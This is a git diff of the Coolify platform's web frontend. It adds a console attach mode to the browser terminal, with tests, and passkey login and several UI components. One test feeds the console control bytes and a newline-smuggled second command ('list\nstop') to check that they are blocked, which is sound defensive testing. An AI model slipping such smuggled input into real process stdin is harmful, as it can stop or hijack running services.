this.focusActiveInput(); }); } }, @@ -607,6 +618,7 @@ export function initializeTerminalComponent() { ? applicationTerminalThemes[this.selectedTheme] ?? applicationTerminalThemes.system : undefined }); + this.syncConsoleForeground(); this.fitAddon = new FitAddon(); this.term.loadAddon(this.fitAddon); this.$nextTick(() => { @@ -851,6 +863,169 @@ export function initializeTerminalComponent() { } }, + isConsoleMode() { + return this.$wire?.terminalMode === 'attach'; + }, + + // Focus the console command box in attach mode, otherwise the xterm. + focusActiveInput() { + if (this.isConsoleMode()) { + this.$refs.consoleInput?.focus(); + } else { + this.term?.focus(); + } + }, + + // Keep the xterm read-only while in console mode and load its command history. + applyConsoleMode() { + const consoleMode = this.isConsoleMode(); + if (this.term) { + this.term.options.disableStdin = consoleMode; + this.term.options.cursorBlink = !consoleMode; + // The output cannot take input, so do not draw a cursor in it. + this.term.options.cursorInactiveStyle = consoleMode ? 'none' : 'outline'; + } + if (consoleMode) { + this.loadConsoleHistory(); + this.$nextTick(() => this.$refs.consoleInput?.focus()); + } + // Let the header mode selector reflect the container's current state. + window.dispatchEvent(new CustomEvent('terminal-mode-updated', { + detail: { + attachAvailable: Boolean(this.$wire?.attachAvailable), + hasShell: this.$wire?.hasShell ?? true, + mode: this.$wire?.terminalMode ?? 'shell', + }, + })); + }, + + loadConsoleHistory() { + // Keep commands in this connection only: names can be reused, and + // localStorage is shared by users and teams on the same browser. + this.consoleHistory = []; + this.consoleHistoryIndex = -1; + this.consoleCommand = ''; + this.consolePendingLines = []; + try { + for (let index = localStorage.length - 1; index >= 0; index--) { + const key = localStorage.key(index); + if (key?.startsWith('coolify-console-history:')) { + localStorage.removeItem(key); + } + } + } catch (_) { + // History does not depend on browser storage being available. + } + }, + + // Text colour for the command box: the active terminal theme's foreground. + syncConsoleForeground() { + this.consoleForegroundColor = this.term?.options.theme?.foreground || '#ffffff'; + }, + + canSubmitConsoleCommand() { + return this.consolePendingLines.length > 0 || this.consoleCommand.trim() !== ''; + }, + + // Send one printable command line to the process stdin, never terminal control bytes. + sendConsoleLine(command) { + if (command.trim() === '' || /[\x00-\x1f\x7f]/.test(command)) { + return false; + } + // Send the whole line plus a newline to the process stdin. + this.sendMessage({ message: `${command}\n` }); + + if (this.consoleHistory[this.consoleHistory.length - 1] !== command) { + this.consoleHistory.push(command); + this.consoleHistory = this.consoleHistory.slice(-50); + } + + return true; + }, + + submitConsoleCommand() { + if (!this.terminalActive || !this.isConsoleMode()) { + return; + } + + const lines = this.consolePendingLines.length > 0 ? this.consolePendingLines : [this.consoleCommand]; + const sent = lines.filter((line) => this.sendConsoleLine(line)).length; + + this.consolePendingLines = []; + this.consoleHistoryIndex = -1; + if (sent > 0) { + this.consoleCommand = ''; + this.flashConsoleSent(); + // Show the response even when the user scrolled up to read older output. + this.term?.scrollToBottom(); + } + // Clicking Send moves focus to the button; return it to the input. + this.$refs.consoleInput?.focus(); + }, + + flashConsoleSent() { + clearTimeout(this.consoleSentFlashTimeout); + this.consoleSentFlash = true; + this.consoleSentFlashTimeout = setTimeout(() => { + this.consoleSentFlash = false; + }, 300); + }, + + // A multi-line paste waits for confirmation, so pasted logs are not sent to the process by mistake. + pasteConsoleText(event) { + const text = event.clipboardData?.getData('text') ?? ''; + if (!/[\r\n]/.test(text)) { + return; + } + event.preventDefault(); + + const lines = text.split(/\r?\n|\r/).filter((line) => line.trim() !== ''); + if (lines.length === 1) { + this.consoleCommand += lines[0]; + return; + } + if (this.consoleCommand.trim() !== '') { + lines[0] = this.consoleCommand + lines[0]; + } + this.consolePendingLines = lines; + this.consoleCommand = ''; + }, + + // Esc cancels a pending paste first, then clears the input. + cancelConsoleInput() { + if (this.consolePendingLines.length > 0) { + this.consolePendingLines = []; + return; + } + this.consoleCommand = ''; + this.consoleHistoryIndex = -1; + }, + + // Ctrl+L clears the visible output only; nothing is sent to the process. + clearConsoleOutput() { + this.term?.clear(); + }, + + // Clicking the read-only output moves focus to the command box, unless the user is selecting text. + focusConsoleFromOutput() { + if (this.isConsoleMode() && !this.term?.hasSelection()) { + this.$refs.consoleInput?.focus(); + } + }, + + recallConsoleCommand(direction) { + if (this.consoleHistory.length === 0) { + return; + } + if (this.consoleHistoryIndex === -1) { + this.consoleHistoryIndex = this.consoleHistory.length; + } + let index = this.consoleHistoryIndex + direction; + index = Math.max(0, Math.min(this.consoleHistory.length, index)); + this.consoleHistoryIndex = index; + this.consoleCommand = index >= this.consoleHistory.length ? '' : this.consoleHistory[index]; + }, + handleSocketMessage(event) { // Handle pong responses if (event.data === 'pong') { @@ -882,7 +1057,9 @@ export function initializeTerminalComponent() { } this.terminalActive = true; this.startTerminalSessionCountdown(); - this.term.focus(); + // In console (attach) mode the user types into the command box, not the + // read-only xterm, so keep focus on that input instead of the terminal. + this.focusActiveInput(); document.querySelector('.xterm-viewport').classList.add('scrollbar', 'rounded-sm'); // Initial resize after terminal is ready @@ -893,13 +1070,13 @@ export function initializeTerminalComponent() { this.resizeTerminal(); }, 200); - // Ensure terminal gets focus after connection with multiple attempts + // Ensure focus after connection with multiple attempts setTimeout(() => { - this.term.focus(); + this.focusActiveInput(); }, 100); - + setTimeout(() => { - this.term.focus(); + this.focusActiveInput(); }, 500); // Notify parent component that terminal is connected @@ -972,6 +1149,11 @@ export function initializeTerminalComponent() { if (!this.term) return; this.term.onData((data) => { + // Console (attach) mode is read-only: commands go through the input box, + // so raw keystrokes (including Ctrl-C) are never sent to the process. + if (this.isConsoleMode()) { + return; + } this.sendMessage({ message: data }); if (data === '\r') { this.commandBuffer = ''; @@ -982,6 +1164,14 @@ export function initializeTerminalComponent() { // Copy and paste functionality this.term.attachCustomKeyEventHandler((arg) => { + // The console output is read-only: move typed characters to the command box. + if (this.isConsoleMode() && arg.type === 'keydown' && arg.key.length === 1 + && !arg.ctrlKey && !arg.metaKey && !arg.altKey) { + // Moving focus during keydown makes the browser type this key into the input. + this.$refs.consoleInput?.focus(); + return false; + } + if (arg.ctrlKey && arg.code === "KeyV" && arg.type === "keydown") { return false; } @@ -1012,6 +1202,11 @@ export function initializeTerminalComponent() { return; } + // Console (attach) mode only accepts commands from the input box. + if (this.isConsoleMode()) { + return; + } + this.sendMessage({ message: data }); }, diff --git a/resources/js/terminal.test.js b/resources/js/terminal.test.js index e0a4fb852d..ed6f9a696d 100644 --- a/resources/js/terminal.test.js +++ b/resources/js/terminal.test.js @@ -1,9 +1,12 @@ import test from 'node:test'; import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import vm from 'node:vm'; import { MAX_TERMINAL_SESSION_SECONDS, formatTerminalSessionRemainingTime, } from './terminal-session-timer.js'; +import * as terminalConnection from './terminal-connection.js'; test('formatTerminalSessionRemainingTime formats the eight hour terminal limit countdown', () => { assert.equal(MAX_TERMINAL_SESSION_SECONDS, 8 * 60 * 60); @@ -13,3 +16,78 @@ test('formatTerminalSessionRemainingTime formats the eight hour terminal limit c assert.equal(formatTerminalSessionRemainingTime(59), '0m 59s'); assert.equal(formatTerminalSessionRemainingTime(0), 'expired'); }); + +function terminalComponent() { + let factory; + const storage = new Map([['coolify-console-history:server:container', '["secret"]']]); + const localStorage = { + get length() { return storage.size; }, + key: (index) => [...storage.keys()][index], + getItem: (key) => storage.get(key) ?? null, + setItem: (key, value) => storage.set(key, value), + removeItem: (key) => storage.delete(key), + }; + const source = readFileSync(new URL('./terminal.js', import.meta.url), 'utf8') + .split('export function initializeTerminalComponent')[1]; + const componentSource = `function initializeTerminalComponent${source}`; + vm.runInNewContext(`${componentSource}\ninitializeTerminalComponent();`, { + window: { Alpine: { data: (_name, value) => { factory = value; } } }, + localStorage, console, + setTimeout, clearTimeout, + MAX_TERMINAL_SESSION_SECONDS, applicationTerminalThemes: { system: {} }, + ...terminalConnection, + }); + const component = factory(); + component.$wire = { terminalMode: 'attach', currentIdentifier: 'container', currentServerUuid: 'server', dispatch() {} }; + component.$refs = { consoleInput: { focus() {} } }; + component.$nextTick = (callback) => callback(); + component.term = { options: {}, focus() {} }; + component.terminalActive = true; + return { component, storage }; +} + +test('console history does not persist sensitive commands or load previous users history', (t) => { + const { component, storage } = terminalComponent(); + component.loadConsoleHistory(); + assert.equal(component.consoleHistory.length, 0); + component.consoleCommand = 'secret command'; + const messages = []; + component.sendMessage = (message) => messages.push(message.message); + component.submitConsoleCommand(); + assert.deepEqual(messages, ['secret command\n']); + assert.equal(component.consoleHistory.length, 1); + assert.equal(storage.size, 0); + component.loadConsoleHistory(); + assert.equal(component.consoleHistory.length, 0); +}); + +test('console startup and theme focus stay on the command input', (t) => { + const { component } = terminalComponent(); + let consoleFocus = 0; + let terminalFocus = 0; + component.$refs.consoleInput.focus = () => { consoleFocus++; }; + component.term.focus = () => { terminalFocus++; }; + component.focusActiveInput(); + assert.equal(consoleFocus, 1); + assert.equal(terminalFocus, 0); + component.$wire.terminalMode = 'shell'; + component.focusActiveInput(); + assert.equal(terminalFocus, 1); +}); + +test('console input cannot forward control sequences or send into a shell session', () => { + const { component } = terminalComponent(); + const messages = []; + component.sendMessage = (message) => messages.push(message.message); + for (const command of ['\x03', 'list\nstop', '\x10\x11']) { + component.consoleCommand = command; + component.submitConsoleCommand(); + } + component.$wire.terminalMode = 'shell'; + component.consoleCommand = 'stop'; + component.submitConsoleCommand(); + component.$wire.terminalMode = 'attach'; + component.terminalActive = false; + component.submitConsoleCommand(); + assert.equal(messages.length, 0); +}); diff --git a/resources/views/auth/confirm-password.blade.php b/resources/views/auth/confirm-password.blade.php index 9d2bc7be54..ee5cbb0858 100644 --- a/resources/views/auth/confirm-password.blade.php +++ b/resources/views/auth/confirm-password.blade.php @@ -28,6 +28,11 @@ {{ __('auth.confirm_password') }} + + @if ($can_confirm_with_passkey) + + @endif diff --git a/resources/views/auth/login.blade.php b/resources/views/auth/login.blade.php index 476b153985..0788e43f13 100644 --- a/resources/views/auth/login.blade.php +++ b/resources/views/auth/login.blade.php @@ -22,12 +22,14 @@
@csrf @env('local') - @else - @@ -78,6 +80,10 @@ + @if ($passkeys_available) + + @endif + @if ($enabled_oauth_providers->isNotEmpty())
Or continue with
diff --git a/resources/views/components/api-disabled-callout.blade.php b/resources/views/components/api-disabled-callout.blade.php new file mode 100644 index 0000000000..1bc9dec11e --- /dev/null +++ b/resources/views/components/api-disabled-callout.blade.php @@ -0,0 +1,14 @@ +@props(['message' => 'This feature uses the Coolify API.']) + +@unless (instanceSettings()->is_api_enabled) + + {{ $message }} + @if (isInstanceAdmin()) + + @else + Ask an instance admin to enable API access. + @endif + +@endunless diff --git a/resources/views/components/application/settings-section.blade.php b/resources/views/components/application/settings-section.blade.php index d1da325acf..1b1b93cb31 100644 --- a/resources/views/components/application/settings-section.blade.php +++ b/resources/views/components/application/settings-section.blade.php @@ -7,7 +7,7 @@
merge(['class' => 'application-settings-section', 'data-settings-section-title' => $title]) }}>
-
+
isset($badges)])> @if (filled($description ?? $helper))

@@ -19,6 +19,7 @@ @else

{{ $title }}

@endif + {{ $badges ?? '' }}

@isset($actions)
diff --git a/resources/views/components/applications/links.blade.php b/resources/views/components/applications/links.blade.php index 761d88fede..94f7c56efa 100644 --- a/resources/views/components/applications/links.blade.php +++ b/resources/views/components/applications/links.blade.php @@ -117,14 +117,14 @@ @else - {{ $application->destination->server->ip }}:{{ explode(':', $port)[0] }} + href="http://{{ formatHostForUrl($application->destination->server->ip) }}:{{ explode(':', $port)[0] }}"> + {{ formatHostForUrl($application->destination->server->ip) }}:{{ explode(':', $port)[0] }} @if (count($application->additional_servers) > 0) @foreach ($application->additional_servers as $server) - {{ $server->ip }}:{{ explode(':', $port)[0] }} + href="http://{{ formatHostForUrl($server->ip) }}:{{ explode(':', $port)[0] }}"> + {{ formatHostForUrl($server->ip) }}:{{ explode(':', $port)[0] }} @endforeach @endif diff --git a/resources/views/components/auth/passkey-verify.blade.php b/resources/views/components/auth/passkey-verify.blade.php new file mode 100644 index 0000000000..793e5998b6 --- /dev/null +++ b/resources/views/components/auth/passkey-verify.blade.php @@ -0,0 +1,55 @@ +@props([ + 'optionsRoute' => 'passkey.login-options', + 'submitRoute' => 'passkey.login', + 'label' => 'Sign in with a passkey', + 'autofill' => false, +]) + +@vite('resources/js/passkeys.js') +
+ + {{ $label }} + + +
diff --git a/resources/views/components/canvas-view-toggle.blade.php b/resources/views/components/canvas-view-toggle.blade.php new file mode 100644 index 0000000000..d3db4e10d0 --- /dev/null +++ b/resources/views/components/canvas-view-toggle.blade.php @@ -0,0 +1,51 @@ +@props(['listUrl', 'canvasUrl', 'onCanvas' => false, 'views' => null]) +@php + $item = 'flex size-7.5 items-center justify-center rounded-md transition-colors'; + $idle = 'text-neutral-400 hover:bg-neutral-100 hover:text-black dark:text-fg-faint dark:hover:bg-white/[0.06] dark:hover:text-fg'; + $canvasItem = 'relative flex h-7.5 items-center gap-1.5 rounded-md px-2.5 text-[12px] font-medium transition-colors'; + $views ??= ['table' => ['Table view', 'unordered-list'], 'grid' => ['Grid view', 'grid']]; + // One list view (no table / grid choice): the list page shows it selected. + $singleList = count($views) === 1; +@endphp +{{-- Table / grid / canvas switcher. On the list page, table and grid switch the + parent's Alpine viewMode; on the canvas page they link back to the list + (?view= makes the list the remembered view again, see RemembersCanvasView). + Pages with one list view pass :views="['list' => [...]]". --}} +
merge(['class' => 'view-toggle']) }}> + @foreach ($views as $mode => [$label, $icon]) + @if ($onCanvas) + + + + @elseif ($singleList) + + + + @else + + @endif + @endforeach + @if ($onCanvas) + + + Canvas + + @else + {{-- A label and a purple "Try it" badge, so people notice the canvas view. --}} + + + Canvas + + Try it + + + @endif +
diff --git a/resources/views/components/dashboard/navbar.blade.php b/resources/views/components/dashboard/navbar.blade.php index db6242f56a..8e7e390b81 100644 --- a/resources/views/components/dashboard/navbar.blade.php +++ b/resources/views/components/dashboard/navbar.blade.php @@ -109,7 +109,7 @@ @if ($showNav)
@endif -
@if ($searchable) @@ -329,6 +345,14 @@
+ @if ($searchable && $allowCustom) + + @endif @if ($searchable)
@endif diff --git a/resources/views/components/forms/monaco-editor.blade.php b/resources/views/components/forms/monaco-editor.blade.php index 69466f7daa..00310c83c0 100644 --- a/resources/views/components/forms/monaco-editor.blade.php +++ b/resources/views/components/forms/monaco-editor.blade.php @@ -87,7 +87,7 @@ } @endif const editor = monaco.editor.create($refs.monacoEditorElement, { - value: monacoContent, + value: monacoContent ?? '', theme: document.documentElement.classList.contains('dark') ? 'coolify-dark' : 'vs', wordWrap: 'on', readOnly: '{{ $readonly ?? false }}', @@ -138,8 +138,8 @@ @endif $watch('monacoContent', value => { - if (editor.getValue() !== value) { - editor.setValue(value); + if (editor.getValue() !== (value ?? '')) { + editor.setValue(value ?? ''); } }); diff --git a/resources/views/components/forms/repository-paths.blade.php b/resources/views/components/forms/repository-paths.blade.php new file mode 100644 index 0000000000..1b5c6f94f9 --- /dev/null +++ b/resources/views/components/forms/repository-paths.blade.php @@ -0,0 +1,47 @@ +@props([ + 'base', + 'file' => null, + 'fileLabel' => null, + 'defaultFile' => null, + 'disabled' => 'false', +]) + +
class('grid gap-4') }} x-data="{ + base: $wire.entangle('{{ $base }}'), + file: {{ $file ? "\$wire.entangle('{$file}')" : 'null' }}, + normalize(path) { + path = (path ?? '').trim().replace(/\/+$/, ''); + return path === '' || path.startsWith('/') ? path : '/' + path; + }, + get directory() { + return this.normalize(this.base); + }, + get location() { + return this.normalize(this.file) || '{{ $defaultFile }}'; + }, + get repeatsBase() { + return this.directory !== '' && this.location.startsWith(this.directory + '/'); + }, + get suggestion() { + return this.location.slice(this.directory.length); + }, +}"> + + @if ($file) + +

+ Resolved file: + +

+ + {{ $fileLabel }} is relative to the base directory, so it should not start with + again. + + + @endif + {{ $slot }} +
diff --git a/resources/views/components/forms/textarea.blade.php b/resources/views/components/forms/textarea.blade.php index 7d2f4994bb..a8abfcb4af 100644 --- a/resources/views/components/forms/textarea.blade.php +++ b/resources/views/components/forms/textarea.blade.php @@ -31,7 +31,7 @@
0) style="--editor-height: {{ $monacoRows * 23 + 38 }}px" @endif> + readonly="{{ $readonly || $disabled }}" label="dockerfile" autofocus="{{ $autofocus }}" />
@else @if ($type === 'password') diff --git a/resources/views/components/navbar.blade.php b/resources/views/components/navbar.blade.php index ba045f303c..c5171fe29e 100644 --- a/resources/views/components/navbar.blade.php +++ b/resources/views/components/navbar.blade.php @@ -62,11 +62,10 @@ :title="hasPageSearch ? 'Search this page and everything (Press / or ' + modKeyLabel + 'K, then Tab to switch)' : 'Search (Press / or ' + modKeyLabel + 'K)'" - class="menu-item justify-between !bg-neutral-100 dark:!bg-white/[0.04] hover:!bg-neutral-200 dark:hover:!bg-white/[0.07] !text-fg-faint"> + class="menu-item menu-search justify-between !bg-neutral-100 dark:!bg-white/[0.04] hover:!bg-neutral-200 dark:hover:!bg-white/[0.07] !text-fg-faint"> - Search page & global + Search @@ -102,6 +101,14 @@ Analytics +
  • + + + Metrics + +
  • @can('canAccessTerminal')
  • @endif -
    +
    diff --git a/resources/views/components/nixpacks-deprecated-callout.blade.php b/resources/views/components/nixpacks-deprecated-callout.blade.php new file mode 100644 index 0000000000..5200e4da5c --- /dev/null +++ b/resources/views/components/nixpacks-deprecated-callout.blade.php @@ -0,0 +1,3 @@ + + {{ config('deprecations.nixpacks') }} + diff --git a/resources/views/components/reicon.blade.php b/resources/views/components/reicon.blade.php index a611869feb..fb5dffe1c6 100644 --- a/resources/views/components/reicon.blade.php +++ b/resources/views/components/reicon.blade.php @@ -8,8 +8,11 @@ $icons = [ 'fire' => '', 'cloud' => '', + 'brain' => '', + 'link' => '', 'code' => '', 'analytics' => '', + 'deploy-canvas' => '', 'mail' => '', 'dashboard' => '', 'projects' => '', diff --git a/resources/views/components/resource-logo.blade.php b/resources/views/components/resource-logo.blade.php new file mode 100644 index 0000000000..5ecd3bc542 --- /dev/null +++ b/resources/views/components/resource-logo.blade.php @@ -0,0 +1,31 @@ +@props(['resource', 'iconClass' => 'size-4']) + +{{-- The resource logo (see resource_logo()). Shows the favicon once it loads, and the resource type icon when there is no logo or it fails to load. --}} +@php + $logo = resource_logo($resource); + $icon = match (true) { + $resource instanceof \App\Models\Application => 'browser-code', + $resource instanceof \App\Models\Service => 'layers', + default => 'database', + }; +@endphp + + + @if ($logo) + + $logo['padded'], 'dark:hidden' => $logo['dark']]) /> + @if ($logo['dark']) + + @endif + + @if ($logo['favicon']) + + @endif + @endif + + diff --git a/resources/views/components/server-timing-hud.blade.php b/resources/views/components/server-timing-hud.blade.php index 35fad6a372..b220182b45 100644 --- a/resources/views/components/server-timing-hud.blade.php +++ b/resources/views/components/server-timing-hud.blade.php @@ -186,10 +186,11 @@ const panel = qs(root, '[data-sth-panel]'); if (panel) { - // Dropdown below the pill inside the top bar. + // Dropdown below the pill inside the top bar. The desktop pill sits after the + // breadcrumb (left side), so its panel opens to the right; the mobile pill is on the right. panel.style.position = 'absolute'; - panel.style.right = '0'; - panel.style.left = 'auto'; + panel.style.right = isMobileSlot ? '0' : 'auto'; + panel.style.left = isMobileSlot ? 'auto' : '0'; panel.style.top = 'calc(100% + 8px)'; panel.style.bottom = 'auto'; panel.style.zIndex = '2147483001'; diff --git a/resources/views/components/server/sidebar.blade.php b/resources/views/components/server/sidebar.blade.php index de9f9bf08d..02a854497b 100644 --- a/resources/views/components/server/sidebar.blade.php +++ b/resources/views/components/server/sidebar.blade.php @@ -26,7 +26,7 @@ 'active' => $activeMenu === 'advanced', 'icon' => 'grid', 'group' => 'Settings', - 'visible' => $server->isFunctional(), + 'disabled' => ! $server->isFunctional(), ], [ 'label' => 'Private Key', @@ -80,7 +80,8 @@ 'active' => request()->routeIs('server.sentinel', 'server.sentinel.*'), 'icon' => 'shield-star', 'group' => 'Platform', - 'visible' => $server->isFunctional() && ! $server->isSwarm() && $server->canHostResources() && auth()->user()?->can('viewSentinel', $server), + 'visible' => ! $server->isSwarm() && $server->canHostResources() && auth()->user()?->can('viewSentinel', $server), + 'disabled' => ! $server->isFunctional(), 'warning' => $server->isSentinelEnabled() && $sentinelStatus === 'out_of_sync', 'tracks_sentinel_status' => true, 'children' => [ @@ -110,7 +111,7 @@ 'active' => $activeMenu === 'destinations', 'icon' => 'destinations', 'group' => 'Networking', - 'visible' => $server->isFunctional(), + 'disabled' => ! $server->isFunctional(), ], [ 'label' => 'Swarm', @@ -126,7 +127,7 @@ 'active' => $activeMenu === 'docker-images', 'icon' => 'layers', 'group' => 'Operations', - 'visible' => $server->isFunctional(), + 'disabled' => ! $server->isFunctional(), ], [ 'label' => 'Docker Cleanup', @@ -134,7 +135,7 @@ 'active' => $activeMenu === 'docker-cleanup', 'icon' => 'broom', 'group' => 'Operations', - 'visible' => $server->isFunctional(), + 'disabled' => ! $server->isFunctional(), ], [ 'label' => 'GitHub Runners', @@ -159,7 +160,7 @@ 'active' => $activeMenu === 'log-drains', 'icon' => 'notifications', 'group' => 'Operations', - 'visible' => $server->isFunctional(), + 'disabled' => ! $server->isFunctional(), ], [ 'label' => 'Metrics', @@ -167,7 +168,7 @@ 'active' => $activeMenu === 'metrics', 'icon' => 'graph', 'group' => 'Operations', - 'visible' => $server->isFunctional(), + 'disabled' => ! $server->isFunctional(), ], [ 'label' => 'Analytics', @@ -175,7 +176,8 @@ 'active' => $activeMenu === 'analytics', 'icon' => 'analytics', 'group' => 'Operations', - 'visible' => $server->isFunctional() && ! $server->isSwarm() && ! $server->isBuildServer(), + 'visible' => ! $server->isSwarm() && ! $server->isBuildServer(), + 'disabled' => ! $server->isFunctional(), ], [ 'label' => 'Security', @@ -266,6 +268,15 @@
    @foreach ($groupItems as $menuItem) + @if ($menuItem['disabled'] ?? false) + + + {{ $menuItem['label'] }} + + @continue + @endif mb_strtolower(str($type)->headline()), ]) ->values(); + $canvasUrl = match ($type) { + 'team' => route('shared-variables.team.canvas'), + 'project' => route('shared-variables.project.canvas', ['project_uuid' => $resource->uuid]), + 'environment' => route('shared-variables.environment.canvas', ['project_uuid' => $resource->project->uuid, 'environment_uuid' => $resource->uuid]), + 'server' => route('shared-variables.server.canvas', ['server_uuid' => $resource->uuid]), + }; @endphp @@ -38,6 +44,8 @@ {{ $view === 'normal' ? 'Developer view' : 'Normal view' }} {{ $view === 'normal' ? 'Developer' : 'Normal' }} + @if ($view === 'normal')
    'Overview', 'route' => 'shared-variables.index', 'icon' => 'dashboard', 'active' => request()->routeIs('shared-variables.index')], - ['label' => 'Team', 'route' => 'shared-variables.team.index', 'icon' => 'teams', 'active' => request()->routeIs('shared-variables.team.*')], - ['label' => 'Projects', 'route' => 'shared-variables.project.index', 'icon' => 'projects', 'active' => request()->routeIs('shared-variables.project.*')], - ['label' => 'Environments', 'route' => 'shared-variables.environment.index', 'icon' => 'layers', 'active' => request()->routeIs('shared-variables.environment.*')], - ['label' => 'Servers', 'route' => 'shared-variables.server.index', 'icon' => 'servers', 'active' => request()->routeIs('shared-variables.server.*')], - ]; -@endphp -

    Shared variables

    @@ -15,20 +5,7 @@
    - +
    {{ $slot }} diff --git a/resources/views/components/shared-variables/sidebar.blade.php b/resources/views/components/shared-variables/sidebar.blade.php new file mode 100644 index 0000000000..6088d3b367 --- /dev/null +++ b/resources/views/components/shared-variables/sidebar.blade.php @@ -0,0 +1,24 @@ +@php + $sharedVariablesMenuItems = [ + ['label' => 'Overview', 'route' => 'shared-variables.index', 'icon' => 'dashboard', 'active' => request()->routeIs('shared-variables.index')], + ['label' => 'Team', 'route' => 'shared-variables.team.index', 'icon' => 'teams', 'active' => request()->routeIs('shared-variables.team.*')], + ['label' => 'Projects', 'route' => 'shared-variables.project.index', 'icon' => 'projects', 'active' => request()->routeIs('shared-variables.project.*')], + ['label' => 'Environments', 'route' => 'shared-variables.environment.index', 'icon' => 'layers', 'active' => request()->routeIs('shared-variables.environment.*')], + ['label' => 'Servers', 'route' => 'shared-variables.server.index', 'icon' => 'servers', 'active' => request()->routeIs('shared-variables.server.*')], + ]; +@endphp + + diff --git a/resources/views/components/skeleton/cards.blade.php b/resources/views/components/skeleton/cards.blade.php new file mode 100644 index 0000000000..c88406fcf3 --- /dev/null +++ b/resources/views/components/skeleton/cards.blade.php @@ -0,0 +1,23 @@ +@props([ + 'count' => 6, + 'label' => 'Loading', +]) + +{{-- Card grid skeleton: an icon tile, a title, and two description lines per card. --}} +
    class(['grid grid-cols-1 gap-3 md:grid-cols-2 xl:grid-cols-3']) }}> + {{ $label }} + @for ($i = 0; $i < (int) $count; $i++) + + @endfor +
    diff --git a/resources/views/components/skeleton/form.blade.php b/resources/views/components/skeleton/form.blade.php new file mode 100644 index 0000000000..56914de7a4 --- /dev/null +++ b/resources/views/components/skeleton/form.blade.php @@ -0,0 +1,15 @@ +@props([ + 'fields' => 4, + 'label' => 'Loading', +]) + +{{-- Form skeleton: a label and an input per field, two columns on wide screens. --}} +
    class(['grid gap-4 md:grid-cols-2']) }}> + {{ $label }} + @for ($i = 0; $i < (int) $fields; $i++) + + @endfor +
    diff --git a/resources/views/components/skeleton/list.blade.php b/resources/views/components/skeleton/list.blade.php new file mode 100644 index 0000000000..82695ef9d6 --- /dev/null +++ b/resources/views/components/skeleton/list.blade.php @@ -0,0 +1,25 @@ +@props([ + 'rows' => 4, + 'label' => 'Loading', +]) + +@php + // Vary the title widths so rows read as content, not a solid block. + $widths = ['w-2/5', 'w-1/3', 'w-1/2', 'w-1/4']; +@endphp + +{{-- List rows with a leading icon tile, a title, a meta line, and a trailing button. --}} +
    class(['flex flex-col']) }}> + {{ $label }} + @for ($i = 0; $i < (int) $rows; $i++) + + @endfor +
    diff --git a/resources/views/components/skeleton/logs.blade.php b/resources/views/components/skeleton/logs.blade.php new file mode 100644 index 0000000000..4e201dcbc5 --- /dev/null +++ b/resources/views/components/skeleton/logs.blade.php @@ -0,0 +1,30 @@ +@php + // Vary the line widths so rows read as log output, not a solid block. + $widths = ['w-3/5', 'w-2/5', 'w-4/5', 'w-1/2', 'w-3/4', 'w-1/3', 'w-2/3', 'w-1/2']; +@endphp + +{{-- Runtime log panel skeleton: header, toolbar, and log lines. --}} +
    class(['runtime-log-shell overflow-hidden']) }}> + Loading containers +
    + + +
    +
    + @for ($i = 0; $i < 4; $i++) + + @endfor +
    +
    + @foreach ($widths as $width) +
    +
    + @endforeach +
    +
    diff --git a/resources/views/components/skeleton/settings-sections.blade.php b/resources/views/components/skeleton/settings-sections.blade.php new file mode 100644 index 0000000000..2c9c195dc1 --- /dev/null +++ b/resources/views/components/skeleton/settings-sections.blade.php @@ -0,0 +1,20 @@ +@props([ + 'count' => 2, + 'label' => 'Loading', +]) + +{{-- Settings section skeleton: a title bar and a content block per section. --}} +
    class(['flex flex-col gap-6']) }}> + {{ $label }} + @for ($i = 0; $i < (int) $count; $i++) + + @endfor +
    diff --git a/resources/views/components/status-badge.blade.php b/resources/views/components/status-badge.blade.php index 5aa02454bd..a8f49e8bf5 100644 --- a/resources/views/components/status-badge.blade.php +++ b/resources/views/components/status-badge.blade.php @@ -4,6 +4,7 @@ 'type' => 'neutral', 'as' => 'span', 'dynamic' => false, + 'pulse' => false, // ping the dot for a state that is still in progress ]) @php @@ -22,7 +23,12 @@ @if ($dynamic) {{ $slot }} @else - + + @if ($pulse) + + @endif + + {{ collect([$label, $status])->filter()->join(' ') }} @endif @@ -31,7 +37,12 @@ @if ($dynamic) {{ $slot }} @else - + + @if ($pulse) + + @endif + + {{ collect([$label, $status])->filter()->join(' ') }} @endif @@ -40,7 +51,12 @@ @if ($dynamic) {{ $slot }} @else - + + @if ($pulse) + + @endif + + {{ collect([$label, $status])->filter()->join(' ') }} @endif diff --git a/resources/views/components/team/avatar.blade.php b/resources/views/components/team/avatar.blade.php new file mode 100644 index 0000000000..809e1dbd1a --- /dev/null +++ b/resources/views/components/team/avatar.blade.php @@ -0,0 +1,10 @@ +@props(['team']) + +@if ($team->avatar_path) + {{ $team->name }}class('shrink-0 rounded-md object-cover') }}> +@else + class('flex shrink-0 items-center justify-center rounded-md bg-neutral-200 font-semibold text-neutral-700 dark:bg-white/[0.1] dark:text-fg') }}> + {{ strtoupper(mb_substr($team->name, 0, 1)) }} + +@endif diff --git a/resources/views/components/terminal/mode-selector.blade.php b/resources/views/components/terminal/mode-selector.blade.php new file mode 100644 index 0000000000..72513c4e07 --- /dev/null +++ b/resources/views/components/terminal/mode-selector.blade.php @@ -0,0 +1,49 @@ +@php + // Shell (docker exec) vs Console (docker attach). Shown only when the container is + // interactive (keeps stdin open). Alpine state lives on the parent terminal section: + // attachAvailable, terminalMode, modeOpen, setTerminalMode(). + $modes = [ + ['key' => 'shell', 'name' => 'Shell', 'description' => 'Interactive shell (docker exec)'], + ['key' => 'attach', 'name' => 'Console', 'description' => 'Attach to the app process (docker attach)'], + ]; + $modeNames = collect($modes)->pluck('name', 'key'); +@endphp + +
    + + + +
    diff --git a/resources/views/components/theme-controls.blade.php b/resources/views/components/theme-controls.blade.php index d44de4178e..f69e0bbc8f 100644 --- a/resources/views/components/theme-controls.blade.php +++ b/resources/views/components/theme-controls.blade.php @@ -61,6 +61,44 @@ @endforeach +
    +
    + Navigation +
    + @foreach ([ + ['value' => 'default', 'label' => 'Default'], + ['value' => 'floating', 'label' => 'Floating'], + ] as $option) + + @endforeach +
    +
    + Navigation items +
    + @foreach ([ + ['value' => '3d', 'label' => '3D'], + ['value' => 'flat', 'label' => 'Flat'], + ] as $option) + + @endforeach
    @else {{-- Full card grid for the Appearance settings page. --}} @@ -181,5 +219,105 @@ @endforeach
    + +
    +
    +
    +

    Navigation style

    +

    Choose how the top bar and sidebars sit on the page.

    +
    +
    +
